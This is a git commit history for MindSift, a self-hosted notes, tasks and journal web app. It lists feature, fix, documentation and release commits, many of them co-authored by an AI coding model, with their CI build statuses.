154 Commits
Author SHA1 Message Date
sandrodach da4fd5d826 Merge dev into main (v0.22.0)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
2026-10-31 11:54:19 +01:00
sandrodachandClaude Opus 5.5 f76b0f34ff feat: Kanban touch drag, admins delete backups, bigger share message
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m5s
- Kanban on phones/tablets: hold a card, drag it onto a card or column, release; the page scrolls at the edges
- Admin settings: database backups can be deleted (DELETE /api/v1/admin/backups/{name})
- Share message: large Liste/Aufgabe buttons, close button, tap outside closes

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 11:54:17 +01:00
sandrodach 474f021ab7 Merge dev into main (v0.21.0)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 27s
2026-10-31 11:27:08 +01:00
sandrodachandClaude Opus 5.5 da258fdce2 feat(share): after sharing, send the entry on as task or list item with one tap
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m30s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 11:27:06 +01:00
sandrodach d728a6a46c Merge dev into main (v0.20.0)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 27s
2026-10-31 11:19:53 +01:00
sandrodachandClaude Opus 5.5 3d367ce633 feat(pwa): app icon shortcuts for Quick Dump, new task and shopping list open their input
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m31s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 11:16:46 +01:00
sandrodach 5de3985704 Merge dev into main (v0.19.0)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 29s
2026-10-31 11:09:41 +01:00
sandrodachandClaude Opus 5.5 c6a2cfb85c feat(workspace): bar above the phone keyboard to indent, outdent and move bullets
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m33s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 11:09:39 +01:00
sandrodach 78cc81ff3a Merge dev into main (v0.18.1)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 26s
2026-10-31 11:00:35 +01:00
sandrodachandClaude Opus 5.5 32b79b5d62 fix(workspace): journal entry on phones looks like a folder row, no half highlight after back
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m32s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 11:00:33 +01:00
sandrodach ed1a5e2f9d Merge dev into main (v0.18.0)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 26s
2026-10-31 10:35:42 +01:00
sandrodachandClaude Opus 5.5 46e1137f18 feat(mail): one layout for all mails with logo, greeting, cards and footer
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m1s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:32:33 +01:00
sandrodach 0c641a2885 Merge dev into main (v0.17.4)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 26s
2026-10-31 10:24:42 +01:00
sandrodachandClaude Opus 5.5 df06ab10c8 fix(ui): user menu header follows rounded theme corners
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m27s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:24:23 +01:00
sandrodach ec54b9c4f7 Merge dev into main (v0.17.3)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 27s
2026-10-31 10:22:38 +01:00
sandrodachandClaude Opus 5.5 1b35bb3de4 fix(alarms): Kanban moves no longer re-arm due alarms of open tasks
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m0s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:22:36 +01:00
sandrodach 79997eb188 Merge dev into main (v0.17.2)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 27s
2026-10-31 10:21:10 +01:00
sandrodachandClaude Opus 5.5 21dd5e504e feat(mobile): workspace views in the top menu, taller note rows, equal header bars
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m31s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:21:08 +01:00
sandrodach 378872d7a4 Merge dev into main (v0.17.1)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 27s
2026-10-31 10:16:47 +01:00
sandrodachandClaude Opus 5.5 66d6b97aff style(journal): monochrome calendar icon instead of the emoji in day titles
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m31s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:16:45 +01:00
sandrodachandClaude Opus 5.5 4a923eaf01 feat(pwa): loading screen in the colours of the last used theme
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:12:55 +01:00
sandrodachandClaude Opus 5.5 57a97a3750 fix(pwa): install button appears in the guide once Chrome reports the app installable
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:08:41 +01:00
sandrodachandClaude Opus 5.5 945be2c1ad feat(kanban): wide board animates, keeps header width and caps column width
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:04:16 +01:00
sandrodach 8362a852d5 Merge dev into main (v0.17.0)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 28s
2026-10-31 10:01:42 +01:00
sandrodachandClaude Opus 5.5 25bb787a8e feat(lists): drag tasks and list entries onto another list; remember open list and view; live pill in lists
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m3s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 10:01:41 +01:00
sandrodachandClaude Opus 5.5 6abcfa655b fix(push): monochrome brain badge for the Android status bar
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:53:52 +01:00
sandrodach 5fff5d4361 Merge dev into main (v0.16.1)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 27s
2026-10-31 09:52:47 +01:00
sandrodachandClaude Opus 5.5 e045f0edd4 docs: plain README screenshots, diagonal only for the title and a colour-family grid
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m33s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:52:03 +01:00
sandrodachandClaude Opus 5.5 c2f795c7a7 fix(settings): daily summary channel switches fit on phones
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:45:42 +01:00
sandrodach 351013c7be Merge dev into main (v0.16.0)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 28s
2026-10-31 09:45:01 +01:00
sandrodachandClaude Opus 5.5 fc637bc25d feat(kanban): button to stretch the board to the full window width
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m30s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:44:12 +01:00
sandrodachandClaude Opus 5.5 7888a255b1 fix(kanban): column headers follow rounded theme corners
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:42:28 +01:00
sandrodachandClaude Opus 5.5 052c7f2fbc fix(tasks): live updates only add real tasks, not fresh Quick Dump notes
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:39:50 +01:00
sandrodach 3cd59b6ffa Merge dev into main (v0.15.1)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 26s
2026-10-31 09:39:01 +01:00
sandrodachandClaude Opus 5.5 2303ccce68 fix(tasks): tapping anywhere on a task card opens it
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m29s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:38:54 +01:00
sandrodachandClaude Opus 5.5 597b6816a7 fix(triage): queue folds closed again with animation; deck follows changes from other devices
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 09:36:50 +01:00
sandrodachandClaude Opus 5.5 a1a6992a9f Merge branch 'dev' into main: v0.15.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 28s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 00:41:25 +01:00
sandrodachandClaude Opus 5.5 508717cc02 docs: renewed README and light/dark diagonal screenshots; wider hashtag tiles
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m13s
- README: current features (journal, focus mode, push, themes, sharing
  into the inbox), outgoing connections, :latest instead of :stable,
  VAPID_* and LEGAL_CUSTOM_LINK_*, new journal and phone screenshots
- e2e/screenshots.sh: light and dark in the same state joined along a
  diagonal, own container/port per run
- hashtag tiles at least 18rem wide

chore(release): v0.15.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 00:41:20 +01:00
sandrodachandClaude Opus 5.5 97d05b5b0d Merge branch 'dev' into main: v0.14.3
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 24s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 00:19:20 +01:00
sandrodachandClaude Opus 5.5 6a855fc32c feat(workspace): slash commands ranked by name, taller link cards with a link marker
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m22s
- /li lists /link first: name prefix, aliases, name, then description
- link cards about twice as tall; the bare address below becomes an accent
  link marker; the link chip bar under bullets is gone, bare web addresses
  in text are links themselves

chore(release): v0.14.3

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 00:19:19 +01:00
sandrodachandClaude Opus 5.5 ecf28d9549 Merge branch 'dev' into main: v0.14.2
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 24s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 00:10:48 +01:00
sandrodachandClaude Opus 5.5 08ae91fcdb fix(pwa): serve the manifest network-first so changed app colours reach the browser
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m24s
chore(release): v0.14.2

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 00:10:46 +01:00
sandrodachandClaude Opus 5.5 f84ad43072 Merge branch 'dev' into main: v0.14.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 26s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:58:55 +01:00
sandrodachandClaude Opus 5.5 61541b2851 fix(ui): even footer line, mode switch fits the user menu and shows every choice
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m23s
chore(release): v0.14.1

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:58:53 +01:00
sandrodachandClaude Opus 5.5 7c2d3178a5 Merge branch 'dev' into main: v0.14.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 24s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:29:54 +01:00
sandrodachandClaude Opus 5.5 3f0e596356 feat(themes): colour families with light/dark, follow system, corners, frames, accent
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m30s
- Fjord (new), Polarized Hell and Suri Hell complete the families
  Klassik, Fjord, Terrakotta, Polarized, Suri
- settings: family table, follow-system, corners, button frames and an own
  accent colour (per device); compact quick picker in the user menus
- code colours in index.css are fallbacks only

chore(release): v0.14.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:29:52 +01:00
sandrodachandClaude Opus 5.5 333d83304d Merge branch 'dev' into main: v0.13.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 24s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:12:06 +01:00
sandrodachandClaude Opus 5.5 2c9b4762fc feat(ui): Terrakotta Nacht replaces Soft, smooth menus and sliding notes on phones
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m21s
- dark counterpart of Terrakotta; Soft users move to it
- add tailwindcss-animate: the existing animate-in/fade/slide classes now
  run; menus zoom in, sheets slide up, notes slide in on phones
- no animations with reduced motion

chore(release): v0.13.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:12:05 +01:00
sandrodachandClaude Opus 5.5 7fa8f2431a Merge branch 'dev' into main: v0.12.2
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 25s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:04:39 +01:00
sandrodachandClaude Opus 5.5 8d93bdc3b8 fix(triage): long single-list name no longer pushes the desktop bar out
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m27s
chore(release): v0.12.2

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 23:04:38 +01:00
sandrodachandClaude Opus 5.5 8847897e11 Merge branch 'dev' into main: v0.12.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 27s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:58:56 +01:00
sandrodachandClaude Opus 5.5 af6e411c85 fix(workspace): even shading per level in the to-do groups
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m26s
chore(release): v0.12.1

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:58:54 +01:00
sandrodachandClaude Opus 5.5 f8c9f4376d Merge branch 'dev' into main: v0.12.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 24s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:53:05 +01:00
sandrodachandClaude Opus 5.5 acd18abe8a feat(themes): Terrakotta replaces High Contrast; equal header buttons on phones
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m20s
chore(release): v0.12.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:53:03 +01:00
sandrodachandClaude Opus 5.5 9f0a77bcd5 Merge branch 'dev' into main: v0.11.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 23s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:42:03 +01:00
sandrodachandClaude Opus 5.5 3b9b1a5f8e feat(triage): bigger phone actions like the long-press sheet, folded queue
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m22s
chore(release): v0.11.1

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:42:01 +01:00
sandrodachandClaude Opus 5.5 d70d141e9a Merge branch 'dev' into main: v0.11.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 24s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:33:46 +01:00
sandrodachandClaude Opus 5.5 9fb33b23ec chore(release): v0.11.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m22s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:33:44 +01:00
sandrodachandClaude Opus 5.5 2f0369f7a2 style: lighter inline code, black system bars for the installed app
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:30:04 +01:00
sandrodachandClaude Opus 5.5 61c7dea6a1 style(workspace): borderless selection in the notes sidebar and journal calendar
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m15s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:28:06 +01:00
sandrodachandClaude Opus 5.5 546bcba666 feat(workspace): borderless code blocks, round code/audio/dictation blocks
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m15s
Code blocks lose border and header bar: language at the top left, a round
copy button at the bottom right on hover; converting back to text moves to
the bullet's action bubble (also for numbered items). Code, audio and
dictation blocks use fixed round corners whatever radius the theme sets.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:21:17 +01:00
sandrodachandClaude Opus 5.5 e243e328c7 fix(markdown): formatting inside bold/italic/strike, monochrome inline code
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m17s
Bold, italic and strikethrough render their inside again, so **`code`**
shows bold code instead of backticks; inline code uses the theme's code
background with the main text colour instead of the accent colour.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:13:55 +01:00
sandrodachandClaude Opus 5.5 05355989a8 fix(workspace): Enter keeps an empty bullet on its level when siblings follow
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m17s
Outdenting an empty bullet on Enter only happens when no bullet on the
same level follows in the branch; otherwise a new bullet is added below.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:09:47 +01:00
sandrodachandClaude Opus 5.5 b136e5dfad feat(workspace): sliding sidebar in focus mode, calmer workspace bar, smoother journal
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m47s
- focus mode: folders slide in from the left (button, title click, or the
  left edge on wide screens); picking a note keeps focus mode
- workspace bar: borderless live/shared/save pills in one style, divider
  before the note actions; footer without top line
- journal panel and calendar open with an animation, the view fades in
- paste and markdown import nest a list under the paragraph introducing it

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 22:04:30 +01:00
sandrodachandClaude Opus 5.5 226c863a2a feat(workspace): focus mode for notes
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m15s
Ctrl+Shift+F or the note menu shows only the note over the whole window
at reading width; the header (title, actions, leave) slides in at the
top edge, Escape leaves; phones get a round exit button.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 21:35:15 +01:00
sandrodachandClaude Opus 5.5 141f87f3a0 Merge branch 'feat/footer-share-ci' into dev
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m39s
CI keeps the 'test once per code state' plan but records commit and
git tree as image labels instead of extra :sha-/:tree- tags, so the
registry only holds dev, latest, vX.Y.Z and stable; the plan test now
asserts the expected decisions.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 21:29:56 +01:00
sandrodachandClaude Opus 5.5 38b8c92899 feat(notify): web push as a notification channel
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m15s
- VAPID keys from VAPID_* or generated once (push_keys, migration 9);
  devices in push_subscriptions, forgotten on 404/410 from the push service
- push column for every event (also due tasks) and the daily summary,
  bundles as one notification; /push/key, /devices, /subscribe,
  /unsubscribe, /test
- settings: switch push on per device, test it, see the devices; the
  service worker shows notifications and focuses MindSift on click
- tests decrypt a sent push like a browser (RFC 8291) and check VAPID

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 21:21:55 +01:00
sandrodachandClaude Opus 5.5 1a49e6b304 feat(workspace): links to single bullets
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m8s
- copy a link to a bullet from its action bubble or pick a bullet in the
  link dialog; [[Note#^id|Note › excerpt]] opens the note, jumps to and
  highlights the bullet, or says it is gone
- wiki links render inline with their label and are clickable; the
  duplicate chip below the text is gone

test(e2e): run each suite with its own container, image tag and port, so
parallel runs from another working copy no longer remove our server

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 20:42:14 +01:00
sandrodach bcb3c702ff ci: optimize pipeline with image retagging and conditional tests 2026-10-30 20:28:19 +01:00
sandrodach 86d2cd0138 feat(pwa): add web share target for text and images with offline queue 2026-10-30 20:23:54 +01:00
sandrodachandClaude Opus 5.5 d408e7d307 feat(workspace): note actions in the workspace bar on desktop, one-row sidebar header
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m5s
On large screens the editor header is gone: undo/redo, share and the menu
render into the workspace tab bar (portal) after avatars, live, shared and
an icon-only save status; zoom breadcrumbs move above the title. Phones and
tablets keep the editor header. The sidebar header drops its heading and
puts search, new folder and new note in one row.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 20:22:39 +01:00
sandrodach c181ffea54 feat(ui): add desktop footer, legal custom link and about dialog 2026-10-30 20:19:02 +01:00
sandrodachandClaude Opus 5.5 375dda982b feat(workspace): journal panel toggle, view kept across tabs, sections nest under headings
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m9s
- the journal opens as a framed panel and closes on a second click,
  returning to the previous note; journal state and the last regular note
  survive tab switches, the fallback note is never a journal day
- pasted and imported markdown nests content under its heading (H2 below
  H1), Enter on a heading creates a child, '- ' / '* ' / '+ ' start a bullet

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 20:11:09 +01:00
sandrodachandClaude Opus 5.5 1d68bb9acb Merge branch 'dev' into main: v0.10.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 19:47:16 +01:00
sandrodachandClaude Opus 5.5 bc7bdc481e chore(release): v0.10.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m16s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 19:47:15 +01:00
sandrodachandClaude Opus 5.5 7a90e6dae3 Merge branch 'feat/outliner-polish' into dev
Offer /number at start or end like the other block commands and start a
numbered list when typing "1. " into an empty bullet.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 19:44:20 +01:00
sandrodachandClaude Opus 5.5 2bfe74e66b feat(workspace): numbered lists and reliable markdown paste
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m5s
- block type 'numbered' (/number): 1., a., i. by nesting, continues on
  Enter, an empty item ends the list; markdown export/import as 1.
- pasting: parser moved to lib/pasteOutline with tests; blank lines split
  paragraphs, numbered lists keep their type, indentation levels follow
  the widths in use (2, 3 or 4 spaces, tabs)
- text that stays in the focused block after pasting (a paragraph with
  line breaks) was dropped; the block now takes it

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 19:36:15 +01:00
sandrodach 1753208cba feat(ui): update instant capture, count badges, mobile triage and folder modal 2026-10-30 19:27:15 +01:00
sandrodach fd72500d17 feat(workspace): polish outliner slash commands, typography and actions overlay 2026-10-30 19:26:52 +01:00
sandrodachandClaude Opus 5.5 9008d7c915 feat(workspace): journal with one note per day and a calendar
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m6s
- journal_days (migration 8) maps a person's day to an ordinary note;
  GET /journal lists the days, POST /journal/{date} opens or creates one
- the journal sits on top of the notes sidebar: days below each other
  (today first, older ones load while scrolling), a calendar with month
  and year picker follows the day in view and jumps to any day
- the header shares the day in view; journal notes stay out of the folder
  tree; can be switched off per device under Darstellung

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 19:20:58 +01:00
sandrodachandClaude Opus 5.5 261579f0f2 feat(notify): own webhook as a full notification channel
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m59s
The custom webhook could be entered but never switched on since the
notification matrix replaced the old alarm channels. It is now a third
column next to e-mail and Discord for every event and the daily summary;
bundles go out as JSON (event "digest").

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 19:02:46 +01:00
sandrodachandClaude Opus 5.5 6c154af251 fix(workspace): single scroll area, drag cleanup, thin note titles with bundled Inter
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m18s
- the workspace fills the window; only the note scrolls (also on phones, where the
  sideways scroll area used to scroll on its own)
- clear drag state on dragend, calmer sidebar toggle when collapsed
- ship Inter as variable font, light and larger note titles; header shows the
  title only after the big title scrolled away and stays one row on phones
- main builds show the package version without -dev

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 18:58:55 +01:00
sandrodachandClaude Opus 5.5 ad4829796c fix(settings): let the profile section use the full width
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m9s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 18:36:50 +01:00
sandrodachandClaude Opus 5.5 2542e0e7b8 fix(themes): white editor and grey sidebar in light theme
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m1s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 18:03:46 +01:00
sandrodachandClaude Opus 5.5 22c52adc10 Merge branch 'dev' into main: v0.9.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 16:51:34 +01:00
sandrodachandClaude Opus 5.5 1b0c8ba18f chore(release): v0.9.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m9s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 16:51:32 +01:00
sandrodachandClaude Opus 5.5 5ff99c5434 fix(workspace): ignore formatting shortcuts in read-only notes
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 16:51:14 +01:00
sandrodachandClaude Opus 5.5 8ecde4872d Merge branch 'feat/editor-polish' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 16:46:10 +01:00
sandrodach 07d86a0e2f docs(readme): add daily summary to features list 2026-10-30 16:23:26 +01:00
sandrodach a317ce0fee feat(workspace): add formatting shortcuts for bold, italic, and links in outliner 2026-10-30 16:22:55 +01:00
sandrodach 1d6863824b feat(workspace): add line numbers and horizontal scrolling to code block editor 2026-10-30 16:17:17 +01:00
sandrodach 108ac6621c fix(themes): improve contrast for code blocks and callouts in light theme 2026-10-30 16:12:36 +01:00
sandrodachandClaude Opus 5.5 e15b028171 Merge branch 'docs/review' into dev
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 15:25:36 +01:00
sandrodach 6952ae15e3 docs(env): fix typo in comment 2026-10-30 13:38:56 +01:00
sandrodach e8c7c55dd5 docs(changelog): note group-shared task lists in daily summary for 0.8.0 2026-10-30 13:38:21 +01:00
sandrodach 57de85d530 docs(readme): update feature list, version badge to v0.8.0, and config options 2026-10-30 13:38:06 +01:00
sandrodach d86623f2c9 docs(websocket): document DEMO_RESET event 2026-10-30 13:36:42 +01:00
sandrodach e83c1ae7dd docs(flaws): strike implemented images/audio feature idea 2026-10-30 13:36:27 +01:00
sandrodach 6ae4fbc2bf docs(sharing): complete sentence pointing to flaws.md 2026-10-30 13:36:08 +01:00
sandrodach 4a3ee2c570 docs(ui-patterns): update voice input description in HoldToRecordFab 2026-10-30 13:35:59 +01:00
sandrodach f5f21e1c9c docs(triage): update speech input description to useVoiceInput 2026-10-30 13:35:37 +01:00
sandrodach f2df3f8d86 docs(tasks): add task watchers and granular notifications documentation 2026-10-30 13:35:24 +01:00
sandrodach b5e89d6bd7 docs(workspace): update slash commands, extract/merge behavior, permissions, and link fix 2026-10-30 13:34:51 +01:00
sandrodach ad6a8ead61 docs(database): update schema columns, migrations 3-7, and remove obsolete statements 2026-10-30 13:33:51 +01:00
sandrodach b9df907ead docs(architecture): add missing env variables to configuration table 2026-10-30 13:32:58 +01:00
sandrodach e6ea8155e4 docs(api): fix routes in rest.md to match server.go 2026-10-30 13:32:18 +01:00
sandrodachandClaude Opus 5.5 e778e6d6dc Merge branch 'dev' into main: v0.8.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m58s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 10:00:11 +01:00
sandrodachandClaude Opus 5.5 6100d339f1 chore(release): v0.8.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m16s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 10:00:09 +01:00
sandrodach 4f5da9507f Merge branch 'feat/gemini-workspace' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

# Conflicts:
#	CHANGELOG.md
2026-10-30 09:54:30 +01:00
sandrodachandClaude Opus 5.5 6b3c32a370 fix(notify): daily summary includes lists shared through a group
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 09:54:10 +01:00
sandrodachandClaude Opus 5.5 a69bcbaf10 feat(notify): bundled notifications, task watchers, daily summary
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m4s
- Per-user routing (own mail / own Discord webhook) for task alarms
  (sent at once), shares, completed shared tasks and watched tasks;
  settings as JSON on the user (GET /auth/me, PATCH /auth/settings).
- Everything but alarms is queued and sent as one message per user
  after NOTIFY_DIGEST_MINUTES (default 5); mails now multipart with an
  HTML version, Discord as one embed. Three failed attempts drop it.
- Own changes never notify the actor, except on watched tasks when
  asked for; "paused" stops everything including alarms.
- Task watchers: POST/DELETE /tasks/{id}/watch, isWatching on tasks.
- Daily summary at a chosen time: overdue, today, tomorrow, plus the
  count of the next 7 days; nothing due, nothing sent.
- Migration 7; jobs do not run in the demo.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 09:49:13 +01:00
sandrodach 5f27e7ca9c feat(workspace): move status pills to tab bar and add undo/redo and actions menu to note header 2026-10-30 09:41:02 +01:00
sandrodach fc7b2b3a2c Merge remote-tracking branch 'origin/dev' into feat/gemini-workspace
# Conflicts:
#	CHANGELOG.md
2026-10-30 09:33:23 +01:00
sandrodach d2afcf49df feat(notifications): add channel routing matrix, daily summary, and task watch button 2026-10-30 09:32:52 +01:00
sandrodach 6795edbf4b feat(voice): live dictation with browser pause restart and server audio chunking 2026-10-30 09:27:30 +01:00
sandrodach 446f8e4649 fix(workspace): tighten link preview card, slash menu matching/scrolling, and Enter on last empty bullet 2026-10-30 09:21:29 +01:00
